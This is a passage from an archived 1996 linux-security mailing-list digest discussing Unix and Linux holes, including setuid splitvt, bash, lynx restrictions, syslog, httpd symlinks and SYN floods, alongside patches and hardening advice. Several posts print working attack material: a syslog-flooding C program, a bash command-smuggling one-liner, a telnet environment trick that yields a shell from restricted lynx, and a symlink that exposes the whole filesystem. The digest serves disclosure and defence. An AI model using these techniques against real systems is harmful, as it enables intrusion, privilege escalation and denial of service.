know everything, and am not responsible for any security weaknesses splitvt might posess. I have changed our splitvt to a simple non-suid executable. This provides almost no change in features as far as I can tell. The manual doesn't say much about why it needs to be suid root, except for the following: splitvt will attempt to erase the current utmp entry, and replace it with entries for the two windows. This allows you to use programs such as 'talk' within the splitvt win- dows. If you do not have write permission to the /etc/utmp file, you will not be able to modify the utmp entries. As someone mentioned, we should be wary of all suid programs. This seems more so with packages like slackware where all sorts of programs can be installed without the users's immeadiate knowledge (I didn't know we had splitvt until I just now checked!). Does anyone have a list of suid programs that are installed in Redhat/Slackware? I may compile a list of ones I can find if noone has done so already. [REW: Adding write permission to /etc/utmp for everybody is a solution that Sun tried. It is not secure. Having programs like splitvt and xterm not beeing able to chown/chmod your pty's will not show in the form of "reduced functionality" but in the form of "extra security holes". In short you won't notice until someone expliots the new holes.] -Rob Hagopian ------------------------------ From: "Vladislav S. Davidzon" Date: Mon, 26 Aug 1996 21:01:38 -0500 (CDT) Subject: Re: [linux-security] vulnerability in splitvt Download the new splitvt or chmod splitvt right... Look at the cert advisories for more info... They had an advisory on it... I had the old version which one of my users did look into :> On Sun, 25 Aug 1996, Stunt Pope wrote: [REW: Quoting trimmed] > Once this prog is compiled the exploit is simple as: > $ sl > $ sl > $ splitvt > # tada! ------------------------------ From: "Vladislav S. Davidzon" Date: Mon, 26 Aug 1996 21:05:37 -0500 (CDT) Subject: [linux-security] RE: Little exploit in syslogd... Here is something I found one of my users using... floods /var/log/messages.... /* blah.c - does neato thing */ #include #define blah "Blah blah blah..." void Puke() { char buffer[4096]; int i, a; for (i = 0; i<4000; i++) buffer[i] = 65; syslog(LOG_CRIT, buffer); for (a = 0; a<4000; a++) syslog(LOG_INFO, blah); } main() { goto puke; puke: Puke(); goto puke; } Pretty anoying little program... any ideas how to make it NOT work???? Make messages NOT floodable? Sincerely, V. Davidzon ------------------------------ End of linux-security-digest V2 #54 *********************************** linux-security-digest/v02.n055100664 1767 1767 50531 6210763007 15447 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V2 #55 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Wednesday, 28 August 1996 Volume 02 : Number 055 Re: [linux-security] bash security hole Re: [linux-security] Saving Passwords in Binaries [linux-security] About suid etc. programs... [linux-security] Suid Programs / Help Wanted Re: [linux-security] inetd and denial-of-service [linux-security] LYNX-DEV security problem with environment for lynx -restrictions=all (fwd) Re: [linux-security] RESOLV_HOST_CONF [linux-security] sh != bash (was "bash security hole") Re: [linux-security] BoS: Mycroftish description of bash hole. (fwd) Re: [linux-security] RESOLV_HOST_CONF ---------------------------------------------------------------------- From: Nathan Bailey Date: Tue, 27 Aug 96 14:21:44 +1000 Subject: Re: [linux-security] bash security hole Jonathan Larmour wrote: >At 21:55 22/08/96 -0500, Runar Jensen wrote: >Just to clarify this, the way I found that I _was_ vulnerable, was with >this. NB copy the quoting exactly: > >bash -c "`/bin/echo 'ls -al\377who'`" > >However, note that the bit after the \377 is run the _next_ time you run the >command, so you need to run it _twice_. Hopefully this will help people who >incorrectly believe they are not vulnerable. I'm really not sure I understand what you mean by "running it twice", but to exploit the vulnerability on our systems you need to put in the preceeding 0, ie.: bash -c "`/bin/echo 'ls -al\0377who'`" You example above produces an error from ls for me, but the second case works fine. Nate ------------------------------ From: Andrew Sweger Date: Mon, 26 Aug 1996 08:32:44 -0700 (PDT) Subject: Re: [linux-security] Saving Passwords in Binaries On Wed, 21 Aug 1996, Todd W Burgess wrote: > I have been working on a program which will check for new mail on an > IMAP server... There's no need to verify if the user has entered the correct password to your new-mail-check program since the (possibly remote) IMAP server will check it anyway and reply appropriately. Check out: http://www.imap.org/ http://www.washington.edu/imap/ for more information. Look for information on setting up a pre-authenticated IMAP server in the UW source distribution. This has some security related side-effects, so read carefully. You will no doubt want a user configuration file to specify host and mailbox/folder information to check. Maybe. - -- / Andrew B. Sweger [email protected] // Computer Support Manager [email protected] \\ Department of Family Medicine // University of Washington (206) 685-4337 / Box 355304 (206) 685-0610 (Fax) - ---- Seattle, WA 98195-5304 -------------------------------------------------- The great thing about multitasking is that several things can go wrong at once. ------------------------------ From: Tommi Rintala Date: Mon, 26 Aug 1996 16:36:56 +0300 (EET DST) Subject: [linux-security] About suid etc. programs... Hi! There have been a lot of discussion about suid programs and other programs, which cause vulnerabilities in Linux system. I have been looking for 'unsecure' programs, and found out that there are usually many programs in Linux systems which have 'wrong' rights. I wonder how many of the programs in /sbin and /usr/sbin are programs, which should be runable by ordinary users. sendmail is one (and it should also have suid), perhaps traceroute is nice thing if you wish to follow a connection paths (thing which should normally be done by admin). How about changing Linux default access rights to something more paranoid?? [REW: Yes, some people would like this. You already name two programs (sendmail, traceroute) that some people would like to keep from the "hands of the masses". Lots of setuid programs are like that. Some say only root should be able to execute them.... Although a "security question" while installing a system would be nice, this isn't implemented yet, so you will have to locally configure this the way you want it.] yours, tomppa2 - -- - -------------------------------------------------------------------------- Tommi Rintala Computer Center, University of Vaasa Finland e-mail: [email protected] http://www.uwasa.fi/~t2r - -------------------------------------------------------------------------- ------------------------------ From: Net-Thing Security Date: Tue, 27 Aug 1996 00:53:10 -0400 (EDT) Subject: [linux-security] Suid Programs / Help Wanted With all the problems about Suid programs, I just -s all but 3 of them like sendmail none of my 300 users even noticed. So why does everyone else seem to need them Suid? If someone needs Suid programs how about some home made wrapper program or script that runs them in a secure manner? would that work? I have a question unrelated: Is there anyway to tell if a logged in user has a Euid=0 shell but everything else is the same as his normal login. If there is how about a daemon that checks users and freezes the login of any euiders=0 or ones that get to uid=0 shell and add their ip to hosts.deny. How about a automatic expert security program that keeps a watch over all logins. [REW: csh-variants detect this case, print "Permission denied." and exit. You could add this check to your /bin/sh. You have the source.] Another Question: Is there a bug in the slackware 1.2.13 login that can let an intruder get a root shell even with no valid login account? If so where is the fix located. Who keeps the FAQ for this list. [REW: Those bugs are rarely in "login". It is very unlikely that you have "Slackware 1.2.13". What slackware? Install the most recent net-kit anyway, this fixes around half a dozen holes.] Help Wanted: Wanted security consultant anyone reading this that knows all past and present Slackware bugs/holes and possibly Irix 5.3 exploits reply with hourly rate and experience. Thanks. Thanks for any info [email protected] Jeffrey M. Drum, Computer monitor electronics repair specialist. ------------------------------ From: Racer X Date: Mon, 26 Aug 1996 23:46:17 -0400 (EDT) Subject: Re: [linux-security] inetd and denial-of-service On Mon, 26 Aug 1996, Brian Mitchell wrote: > if it is not forged, it will not have the disired effect of locking the > victim up. You will get into a syn/syn|ack/rst flood, which when > completed will leave the victim perfectly normal. Not when I tried. All that happened was that I took up all the open connections on my machine as well as the attacked machine. > They would not use www.whitehouse.gov, because those syn packets would be > reset. I don't think you're right on this one, but if you are, it still doesn't explain why a randomly chosen source IP is a bad idea, which was what I was trying to clarify. > If they forge the ip of a host with reverse dns, but not up - what have > you done? Absolutely nothing. Sure you have. If they use that same IP over and over again, you can spot a potential SYN flood from that particular host and refuse to accept any more SYN's from that host. Contrary to what you may think, this can be done in user space with an ipfwadm-like tool; we just need the hooks in the kernel to allow policies to be changed on the fly. [REW: You can adjust ipfwadm rules on the fly. No need for extra hooks. The hard part is getting info about "ongoing syn floods" in an efficient manner. How about running tcpdump in non-promisc mode, filtering for syn-packets.] shag Judd Bourgeois | When we are planning for posterity, [email protected] | we ought to remember that virtue is Finger for PGP key | not hereditary. Thomas Paine ------------------------------ From: Roscinante Date: Mon, 26 Aug 1996 09:36:14 -0400 (EDT) Subject: [linux-security] LYNX-DEV security problem with environment for lynx -restrictions=all (fwd) This came in today on the lynx-dev list, thought it would be of interest to linux security (not sure what OS this fellow is using, I sent a reply, and told him about the 'fixed' telnet) - ---------- Forwarded message ---------- Date: Sun, 25 Aug 1996 23:21:03 EDT From: [email protected] Reply-To: [email protected] To: [email protected] Subject: LYNX-DEV security problem with environment for lynx -restrictions=all In using Lynx 2.5FM (22 August version) from a public-login account whose shell runs "lynx -restrictions=all", I've found it's possible to defeat some restrictions and obtain interactive access to /bin/sh by passing the environment variables WWW_HOME and LYNX_CFG via telnetd. The attack will work on more system types if it's possible to write to some filesystem that's mounted by the target machine. For example, % telnet telnet> env define WWW_HOME http://anyserver/anything.gif telnet> env define LYNX_CFG /afs/some.cell/users/myname/lynx.cfg telnet> open public-lynx-host -l lynx where /afs/some.cell/users/myname/lynx.cfg contains SUFFIX:.gif:image/gif VIEWER:image/gif:sh This gives me an sh shell on public-lynx-host with the uid of "lynx". On some system types, it may instead be possible to do telnet> env define LYNX_CFG /dev/stdin and type in the desired contents (e.g., the SUFFIX and VIEWER lines). I'd suggest adding support for "-restrictions=env" which would prevent lynx from modifying its behavior based on any call to getenv. Of course, a public-login account might be better configured to explicitly set WWW_HOME and LYNX_CFG (or use "-cfg=") before starting lynx, but I think the risk of setup mistakes would be reduced if ignoring the environment were supported within the lynx source code. Matt ~~ All that is gold does not glitter.. . Not all those who wander are lost..J.R.R.T. . /\ . ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ._____// \\_____. And the knowledge that they fear . \\ Rush // . is a weapon to be held against them.. N.P. . \\ 2112 // . ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ . // /\ \\ . Ghost in the Machine ([email protected]) I[[[[[[[[]]]]]]]]I Roscinante ([email protected]) http://www.globalent.net/users/fbn ------------------------------ From: David Holland Date: Mon, 26 Aug 1996 03:49:14 -0400 (EDT) Subject: Re: [linux-security] RESOLV_HOST_CONF > >Real Patch isn't really available yet, from what i can see. You can modify > > *ahem* for the most part, yes it is... NetKit-B-0.08 has at least ping and > others (?) fixed, but for some strange reason, he didn't bother to fix > finger tho... :\ The bug's in the library. The setuid programs in the current netkit contain a *workaround*. These are not fixes. Fixes are in the works. Be sure to update your netkit, though, as it fixes related bugs in telnetd that have the possibility of being quite serious. [You can use finger to read any file that you can already read yourself... Every single network tool will exhibit this "problem".] > ftp.linux.org.co.uk:/pub/linux/Networking/base/NetKit-B-0.08.tar.gz ^^ just .org, not .co as well. And the official name is 'ftp.uk.linux.org' now anyway. > until a newer one comes out that patches finger, anyway... Don't hold your breath. :-) - -- - David A. Holland | Number of words in the English language that [email protected] | exist because of typos or misreadings: 381 ------------------------------ From: "A. P. Harris" Date: Tue, 27 Aug 1996 02:43:18 -0500 Subject: [linux-security] sh != bash (was "bash security hole") [You (Zoltan Hidvegi)] > A sutable workaround [to the unsigned char problem in bash] > is to get zsh-3.0.0 and link /bin/sh to zsh. Pdksh is an other > alternative but it is less convinient for interactive use. This reminds me of an issue that always bugged me about Linux in particular. Why should I want a shell which is geared for interactive use to be running all my little shell scripts? Isn't that a massive waste of CPU, memory, security, and robustness? Isn't it better to have a different interactive shell (big and featureful) from your script-running shell? Assuming of course that they both emulate the Bourne shell syntax well, of course. I'm considering kiss, ash, and zsh for that part. Any pointers or gotchas from the list? .....A. P. [email protected]... ------------------------------ From: [email protected] (Rogier Wolff) Date: Tue, 27 Aug 1996 11:18:43 +0200 (MET DST) Subject: Re: [linux-security] BoS: Mycroftish description of bash hole. (fwd) Mark Whitis wrote: >From [email protected] Tue Aug 27 11:14:16 1996 Date: Tue, 27 Aug 1996 05:02:38 -0400 (EDT) From: Mark Whitis To: Rogier Wolff cc: [email protected] Subject: Re: [linux-security] BoS: Mycroftish description of bash hole. (fwd) In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Sat, 24 Aug 1996, Rogier Wolff wrote: > Mark Whitis wrote: > > > > On Thu, 22 Aug 1996, Paul D. Robertson wrote: > > > > > [REW: Huh? What fool runs his Httpd as "root"?] > > > > It is very common to run httpd as root. If httpd is not root, then > > everyone who has web pages has to make their home directory world > > executable/searchable (and possibly world readable as well) if they > > use the normal ~/public_html convention. A way around this is to > > create public_html directories for each user in a separate directory > > tree which you can then even chroot httpd to (of course, this would > > be more useful if chroot actually worked). > > > > I submitted patches to NCSA httpd a couple years ago to fix a problem with > > the symbolic link code which allowed anyone who had a shell account > > to read any file on the sytem as root (if httpd was root). I believe > > this was fixed in apache; although they didn't use my patch, since they > > completely rewrote the symbolic link code, I think they incorporated > > the same functionallity. The problem was that if you had symbolic > > links enabled (as opposed to allow_symlink_ifowner) than anyone > > with shell could create a symbolic link ("ln -s / ~/public_html/hole") which > > would allow any file on the system to be read as root. Unfortunately, > > on almost any system with a significant number of users, where > > user directories are typically on more than one disk and /home/username > > is a symbolic link to the actual location, you had to enable symbolic > > links for httpd to access public_html directories (whether httpd > > ran as root or not). The fix was to modify allow_symlink_ifowner > > to also allow symbolic links owned by root. > > > > --------------------------------------------------------------------------- > > --- Mark Whitis WWW: http://www.dbd.com/~whitis/ --- > > --- 428-B Moseley Drive; Charlottesville, VA 22903 804-962-4268 --- > > --------------------------------------------------------------------------- > > Then, in my eyes, you're one of those fools. Reread my message. This time while you are awake. Did I advocate ANYWHERE that users run httpd as root? I merely state that it is very common, that there are reasons to do so, and how to achieve the same results without running httpd as root. [REW: Ok Granted. I personally haven't seen all that many httpd's running as root. You seem to have seen lots of them. Maybe it is common, maybe my (or your) sample size is much too small to make accurate guesses?] > If a httpd is running as "root" it is asking for trouble. If a sendmail is running as "root" it is asking for trouble. If a ftpd is running as "root" it is asking for trouble. If a telnetd is running as "root" it is asking for trouble. httpd has not, so far, had a worse history than these programs as far as bugs are concerned (badly written cgi programs aside). Usually, however, there is not a compelling reason to run it as root provided you take various steps to allow the desired functionality. - Create a separate directory tree for public pages - inside a ftp directory tree has the advantage that you do not have to give users shell access for them to update web pages. i.e: - /ftp - ftpd's directory (chroot) - /ftp/$USER - users home directory - /ftp/$USER/public_html - html pages - /ftp/$USER/in.comming -> /ftp/anon/in.coming/$USER - /ftp/$USER/out.going -> /ftp/anon/out.going/$USER - /ftp/$USER/pub -> /ftp/anon/pub/$USER - /ftp/anon - root for anonymous ftp (chroot again) - /ftp/anon/in.coming/$USER - /ftp/anon/pub/$USER - /ftp/anon/out.going/$USER - Automatically create a symbolic link from ~/public_html to /ftp/users/$USER/, or wherever, - Run a separate httpd as a different non-priveledged user for cgi applications that need restricted access to data or use a read-only setgid cgi program (carefull!!!). Incidently, I advocated not running httpd as root years ago when most sites were running it as root. Is there actually any compelling reason to run sendmail as root? - Access to mailboxes? chgrp mail /var/spool/mail/* chmod g+rw /var/spool/mail/* chgrp/chmod files listed in /etc/aliases - Access to .forward files? chgrp mail /home/*/.forward - Access to mail queues chgrp mail /var/spool/mqueue - program mailers these do need an external program which is setuid root in order to chmod to the appropriate user. I haven't really thought it through but it seems that a slightly patched sendmail could be run as a semi-privaledged user/group instead of root if you were willing to do a little extra administrative work and deal with the hassle of .forward files needing to belong to a group the user is not a member of (i.e. you need a safe (symlink exploit proof) utility to set the permissions or initialize .forward to "\user" and don't let users delete them by symlinking them to a directory they don't have access to). > Having httpd run as some "nobody" will restrict damage to what normal > users on your system could already do. This closes "becoming root" holes > on your system, as well as interesting ways to penetrate your system. > > symbolic links are usually ALWAYS owned by root. The permission and Users also create their own symbolic links. Sometimes even within their public_html directories: ln -s home.html index.html ln -s newdirectory/newfile.html oldfile.html ln -s / security_hole They just shouldn't be able to do the last one. [REW: What I was saying is that even if a user actually creates a symlink, the symlink will still be owned by root (according to the system.....] Symbolic links which are owned by root on file systems that are not user mountable are generally safe. - --------------------------------------------------------------------------- - --- Mark Whitis WWW: http://www.dbd.com/~whitis/ --- - --- 428-B Moseley Drive; Charlottesville, VA 22903 804-962-4268 --- - --------------------------------------------------------------------------- ------------------------------ From: [email protected] Date: Tue, 27 Aug 1996 18:08:59 -0700 (PDT) Subject: Re: [linux-security] RESOLV_HOST_CONF The RESOLV_HOST_CONF exploit fix: >From the `init_services()` function in inet/gethstnmad.c: This is where the RESOLV_HOST_CONF environment variable is passed. if(NULL==(hostconf=getenv(ENV_HOSTCONF))){ hostconf=_PATH_HOSTCONF; } All we need to add is some UID checking... /* If our UID is not equal to our EUID, do not pass the env */ if(!(hostconf=getenv(ENV_HOSTCONF))){ if((getuid()==geteuid()))hostconf=_PATH_HOSTCONF; } - -- [ [email protected] ] Editor, Phrack Magazine / Guild Corporation Chair the greatest trick the devil ever pulled was convincing the world he didn't exist ------------------------------ End of linux-security-digest V2 #55 *********************************** linux-security-digest/v02.n056100664 1767 1767 57702 6211416147 15460 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V2 #56 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Thursday, 29 August 1996 Volume 02 : Number 056 [linux-security] CERT#1157 Re: vulnerability in splitvt [linux-security] chroot (1) security hole Re: [linux-security] inetd and denial-of-service [linux-security] nonroot sendmail [linux-security] Re: RESOLV_HOST_CONF Re: [linux-security] Suid Programs / Help Wanted [linux-security] Re: Vulnerability in the Xt library (fwd) [linux-security] Re: LYNX-DEV security problem with environment for lynx Environment Variables (Was Re: [linux-security] Re: RESOLV_HOST_CONF ) ---------------------------------------------------------------------- From: CERT(sm) Coordination Center Date: Tue, 27 Aug 96 8:45:21 EDT Subject: [linux-security] CERT#1157 Re: vulnerability in splitvt - -----BEGIN PGP SIGNED MESSAGE----- Hello, Thanks for your message concerning a vulnerability in the 'splitvt' program: [REW: Quoting trimmed] We distributed a vendor-initiated bulletin on this topic in January of this year. It is available from ftp://info.cert.org/pub/cert_bulletins/VB-96.01.splitvt [REW: Quoting trimmed] Since it would appear that your system(s) has suffered a root compromise, we encourage you to recover from this break-in by taking the steps outlined in the appended checklist in accordance with your local policies and procedures. Furthermore, we encourage you to check all of your systems, not just those that you know or suspect to be compromised. [REW: Oops. It seems that the "splitvt" problem is already quite old, and thus shouldn't have made it to the list. Sorry for the slip. Subject closed OK?] ------------------------------ From: Ivan Buttinoni Date: Tue, 27 Aug 1996 12:51:33 +0100 (GMT+0100) Subject: [linux-security] chroot (1) security hole Environment: Linux 2.0.13 libc.so.5 => libc.so.5.2.18 gcc version 2.7.2 Action: bash# cd / bash# chroot /restricted/area /bin/bash shell-init: could not get current directory: getwd: cannot access parent directories Problem: After 'Action', I'm not in "/restricted/area", I'm in the real "/"! [REW: Yes. The problem lies in the fact that the current working directory isn't changed by the chroot system call. Could someone check the chroot program's sources and report wether it does a chdir ("/"); after the chroot system call. Note that you DONT want someone being "root" in a restricted area. You can more or less always "break out of" a chrooted area if you are root in there. There are too many "exits" for root to fix them all. The point of a chrooted area is to prevent normal users from having access to the programs which form a security risk.] Ivan | Ivan Buttinoni - e-mail: [email protected] - Tel. + 39 - 338 - 6134099 | |Via G. Carducci, 17 Albino (BG) 24021 ITALY WWW: http://www.cibi.it/ | ------------------------------ From: [email protected] Date: Tue, 27 Aug 1996 09:41:55 -0700 (PDT) Subject: Re: [linux-security] inetd and denial-of-service Racer X's thoughts were: | > victim up. You will get into a syn/syn|ack/rst flood, which when | > completed will leave the victim perfectly normal. | | Not when I tried. All that happened was that I took up all the open | connections on my machine as well as the attacked machine. When the attacked TCP receives the SYN (which is *not* forged in this example) it sends out it's SYN/ACK as expected. Since the source IP address is valid and reachable, the SYN/ACK will make it's way to a host, on the source port that was in the TCP header of the original SYN packet. Since, either A) no process will be listen()ing on that port, or B) the SYN/ACK is *not* expected for whatever process is listen()ing, a RST packet will be elicted from this SYN/ACK and sent to the target host. The connection is torn down. No SYN flood. | > They would not use www.whitehouse.gov, because those syn packets would be | > reset. | | I don't think you're right on this one, but if you are, it still doesn't This is EXACTLY what will happen in the above scenario. | explain why a randomly chosen source IP is a bad idea, which was what I | was trying to clarify. Because you have NO way of verifying if a host is unreachable or not when you pick an IP address out of thin air. Just like when generate a large odd number. You cannot guarantee it's prime without testing it for primality... | > If they forge the ip of a host with reverse dns, but not up - what have | > you done? Absolutely nothing. | | Sure you have. If they use that same IP over and over again, you can | spot a potential SYN flood from that particular host and refuse to accept | any more SYN's from that host. Contrary to what you may think, this can | be done in user space with an ipfwadm-like tool; we just need the hooks | in the kernel to allow policies to be changed on the fly. This is why you will see many SYN floods with different source addresses in each wave of packets, or even better, in each packet. [REW: And using "random" IP addresses will "work". There are nowhere near 4G hosts on the internet, so choosing a random IP address is quite likely to give you one that isn't reachable. The occasional one that IS availble will trigger the first scenario.] - -- [ [email protected] ] Editor, Phrack Magazine / Guild Corporation Chair the greatest trick the devil ever pulled was convincing the world he didn't exist ------------------------------ From: *Hobbit* Date: Wed, 28 Aug 1996 03:40:36 -0400 Subject: [linux-security] nonroot sendmail [REW: I doubt that you can configure sendmail to not need root. Suid-"mail" works just fine, if it's never going to deliver directly to files or scripts. Local mail-spool delivery can be handled by a suid-root mail.local. The "mail" uid owns the mail queue, but nothing else; it can't even write the aliases db. On a firewallish sort of machine sendmail will only forward in and out anyway, so it doesn't even need the local stuff. Telnet uses login to change the uid, so it needs the suid bit on login or it needs to be run as root itself. In most setups there's no need for login to be suid, and having it suid root should never be even slightly encouraged. It's called by quite the cadre of things already running as root, so yank them bits the vendors so kindly left on for you... [REW: Agreed. The case that the setuid bit is needed is when people at your site have the habbit of walking over to someone and "saying may I use your terminal?" Then you can save a few CPU cycles and keystrokes by typing login instead of first logging out..... Let's please close this subject. Not Linux-specific, and it's been going on too long already.] _H* ------------------------------ From: Keith Owens Date: Fri, 30 Aug 1996 02:13:46 +1000 (EST) Subject: [linux-security] Re: RESOLV_HOST_CONF On Tue, 27 Aug 1996, Keith Owens wrote: > How about the best of both worlds. kernel detects suid/sgid programs and, > instead of running them directly, starts a trusted wrapper program. [snip] > [REW: You don't need the kernel to detect this. [snip]] Need - no, prefer - yes. Renaming files and adding symlinks is all very well but it is a manual process and has to be redone whenever you upgrade. It also will not catch the malicious user who creates their own suid program through the backdoor you did not know about. Having the kernel detect suid/sgid and drive the security wrapper automatically is transparent, offers a single point of control and can lock out unexpected suid/sgid binaries (anything not permitted is forbidden). [REW: Agreed. Kernel patch included below. This patch compiles, but is NOT tested. It is against 2.0.15. I don't know an easy way to get back to the pathname from that part of the kernel, so the messages don't say much (could report dev/inode though). The userlevel program that opens all allowed suid binaries, does the ioctl and NEVER EXITS has not been written yet. The system "turns on automatically". Once you explicitly allow a suid program, all others automatically turn disabled. Anybody want to finish this up and submit it to Linus once 2.1 gets started? - --- fs/ioctl.c.orig Fri Jul 5 17:45:33 1996 +++ fs/ioctl.c Thu Aug 29 23:55:56 1996 @@ -48,6 +48,15 @@ put_fs_long(filp->f_inode->i_size - filp->f_pos, (int *) arg); return 0; + case FIALLOWSUID: + { + struct suid_allow *tsa; + tsa = kmalloc (sizeof (struct suid_allow)); + if (!tsa) return -ENOMEM; + tsa->next = first_sa; + tsa->inode = filp->f_inode; + return 0; + } } if (filp->f_op && filp->f_op->ioctl) return filp->f_op->ioctl(filp->f_inode, filp, cmd, arg); - --- fs/exec.c.orig Thu Aug 29 23:34:51 1996 +++ fs/exec.c Fri Aug 30 00:14:28 1996 @@ -51,6 +51,9 @@ asmlinkage int sys_exit(int exit_code); asmlinkage int sys_brk(unsigned long); +struct suid_allow *first_sa; + + /* * Here are the actual binaries that will be accepted: * add more with "register_binfmt()" if using modules... @@ -520,6 +523,16 @@ || (current->files->count > 1)) { if (!suser()) return -EPERM; + } + if (first_sa) { + struct suid_allow *sa; + for (sa = first_sa;sa != NULL;sa = sa->next) + if (sa->inode == bprm->inode) break; + if (!sa) { + printk ("Refusing setuid for uid %d.\n",current->uid); + return -EPERM; + } + printk ("Approving setuid exec for uid %d.\n",current->uid); } } - --- include/linux/fs.h.orig Thu Aug 29 17:14:29 1996 +++ include/linux/fs.h Fri Aug 30 00:15:31 1996 @@ -116,8 +116,16 @@ #define BMAP_IOCTL 1 /* obsolete - kept for compatibility */ #define FIBMAP _IO(0x00,1) /* bmap access */ #define FIGETBSZ _IO(0x00,2) /* get the block size used for bmap */ +#define FIALLOWSUID _IO(0x00,3) /* Allow SUID on this file */ #ifdef __KERNEL__ + +struct suid_allow { +struct suid_allow *next; +struct inode *inode; +}; + +extern struct suid_allow *first_sa; #include - -- End of Moderator comment.] ------------------------------ From: Zoltan Hidvegi Date: Thu, 29 Aug 1996 16:56:53 +0200 (MET DST) Subject: Re: [linux-security] Suid Programs / Help Wanted > Is there anyway to tell if a logged in user has a Euid=0 shell but > everything else is the same as his normal login. If there is how about a > daemon that checks users and freezes the login of any euiders=0 or ones > that get to uid=0 shell and add their ip to hosts.deny. How about a > automatic expert security program that keeps a watch over all logins. > > [REW: csh-variants detect this case, print "Permission denied." and exit. > You could add this check to your /bin/sh. You have the source.] bash and zsh have UID, EUID, GID, EGID variables. ksh, bash and zsh set the -p (privileged) option when EUID != UID or EGID != GID upon startup. Ksh executes /etc/suid_profile in that case (for all invocations not for just login shells) and does not process the ENV variable. Zsh emulates the ksh behaviour when invoked as sh or ksh otherwise it disables sourcing of any user starup scripts (a special suid action can be specified using a test in /etc/zshenv). bash, ksh and zsh resets EUID and EGID to the nornal UID/GID when the -p option is unset (e.g. by the set +p command). In addition in zsh {E,}{U,G}ID are writable parameters and they call set{e,}{u,g}id() upon assignment. Similarily USERNAME is a writable wariable in zsh which gets the uid for the given user and calls setuid(). All of that true only for zsh-3.0.0. It is not recommended to use older versions. [REW: Fun features. So you would put something like (consider this pseudocode: I never can remember shell syntax.... :-) if ((EUID != UID) || (EGID != GID)) log messag saying attempt to use setuid shell exit endif in some shell startupfile. (I got lost in the xsh stuff above :-) However setuid shell scripts are disabled anyway. And if you can put suid bits on system shells you can also put them on your own version of xyz-sh. Many people commented on the ability to run just about any shell as /bin/sh. Note that you should keep a boot- and root-disk handy and attempt a reboot before trusting it. Some bootscripts have interesting ways of breaking on a different shell.] Zoltan ------------------------------ From: Marek Michalkiewicz Date: Thu, 29 Aug 1996 13:35:46 +0200 (MET DST) Subject: [linux-security] Re: Vulnerability in the Xt library (fwd) Following up my previous message... Another message from bugtraq, which contains a patch to fix the libXt buffer overrun. I haven't verified if the fix is indeed in the (just released) XFree86-3.1.2F - - can't get to ftp.xfree86.org right now (too many users), and can't find this version on mirror sites yet. Marek [REW: I'm not sure that this made it into 3.1.2F. The X consortium fixed a similar bug, which very likely came in too late (the 27th) to make it into 3.1.2F. As an aside, the release of 3.1.2F was MUCH too hasty. (These security bugs have nothing to do with that though.)] > Date: Sun, 25 Aug 1996 22:05:16 -0700 > From: Ollivier Robert > Subject: Re: Vulnerability in the Xt library (fwd) > To: Multiple recipients of list BUGTRAQ > According to John Capo: > > Stefan `Sec` Zehl writes: > > > I can confirm this for Freebsd 2.2-Current, it gives me a euid=0 /bin/sh > > > I can also. The xterm cores on -stable though. > > I sent a patch and a portable version of snprintf to both the X consortium > and Xfree86 yesterday. It will be in 3.1.2F. > > If you have XFree sources on-line and are willing to recompile, apply the > following patch in xc/lib/Xt: > > --- Error.c.old Sun Aug 25 14:57:28 1996 > +++ Error.c Sun Aug 25 14:47:14 1996 > @@ -238,5 +238,5 @@ > (void) memmove((char*)par, (char*)params, i * sizeof(String) ); > bzero( &par[i], (10-i) * sizeof(String) ); > - (void) sprintf(message, buffer, par[0], par[1], par[2], par[3], > + (void) snprintf(message, sizeof message, buffer, par[0], par[1], par[2], par[3], > par[4], par[5], par[6], par[7], par[8], par[9]); > XtError(message); > @@ -263,5 +263,5 @@ > (void) memmove((char*)par, (char*)params, i * sizeof(String) ); > bzero ( &par[i], (10-i) * sizeof(String) ); > - (void) sprintf(message, buffer, par[0], par[1], par[2], par[3], > + (void) snprintf(message, sizeof message, buffer, par[0], par[1], par[2], par[3], > par[4], par[5], par[6], par[7], par[8], par[9]); > XtWarning(message); > > -- > Ollivier ROBERT -=- The daemon is FREE! -=- [email protected] > FreeBSD keltia.freenix.fr 2.2-CURRENT #18: Sun Aug 18 19:16:52 MET DST 1996 > ------------------------------ From: Christopher Blizzard Date: Wed, 28 Aug 1996 14:11:33 -0400 Subject: [linux-security] Re: LYNX-DEV security problem with environment for lynx [REW: Quoting trimmed. About anonymous gopher lynx etc accounts:] In the past for both gopher and lynx anonymous accounts I've written a wrapper that calls the binary after resetting all of the environmental variables except "TERM=vt100". For those who don't have that term - tough. I don't trust anonymous accounts for the exact reason below. :) [REW: Note that even if you do that, you should still be aware that you may be opening a hole into your system.] - --Chris - ------------------------------------------------------------------- Christopher Blizzard | "The truth knocks on the door and you say [email protected] | 'Go away. I'm looking for the truth,' and NYSERNet, Inc. | so it goes away." --Robert Pirsig - ------------------------------------------------------------------- ------------------------------ From: Mark Whitis Date: Thu, 29 Aug 1996 00:35:00 -0400 (EDT) Subject: Environment Variables (Was Re: [linux-security] Re: RESOLV_HOST_CONF ) On Sun, 25 Aug 1996, Daniel Bromberg wrote: > I propose a blanket solution: have the kernel manipulate the > environment passed to the setuid program in a safe manner. Thus only > pass through a few, if any, env variables to any setuid program, > statically linked or not. (Off the top of my head, all I think one > needs is USER, HOME, possibly HOSTALIASES). Given the splitvt type of > attack, we'd also need to 'clean up' the ones we do pass through, by > removing non-printable content and limiting the length. There is more > configuration needed: so there could be some file like > /etc/default/root.env which contains the environment that the sysadmin > deems adequate for proper operation of all setuid programs. (like > PATH, HOSTNAME, etc.) Such a file could also specify which user's env > variables were safe to pass through. Last time I looked at possibilities for exploits of environment variables on setuid programs (or via telnetd), I came to the conclusion that virtually all environment variables, even the "safe" (and sometimes necessary) ones, were potentially exploitable. As for your list of ones to pass through unchanged, they do not appear even marginally safe. USER & HOME: a setuid program (and any programs it calls) should not need them; if they do, they shouldn't be trusted. If a program needs these, they should be regenerated from reliable sources. HOSTALIASES (and any other variable which affects DNS lookup Here is the beginings of a catalog of common environment variables and a little about their potential exploitability. I started with a printenv on an almost strait out of the box RedHat 3.0.3 system and added a few from memory. RESOLV_HOST_CONF - Can be (ab)used to read any file on the system (resolver libraries echo file if there is an error in it), 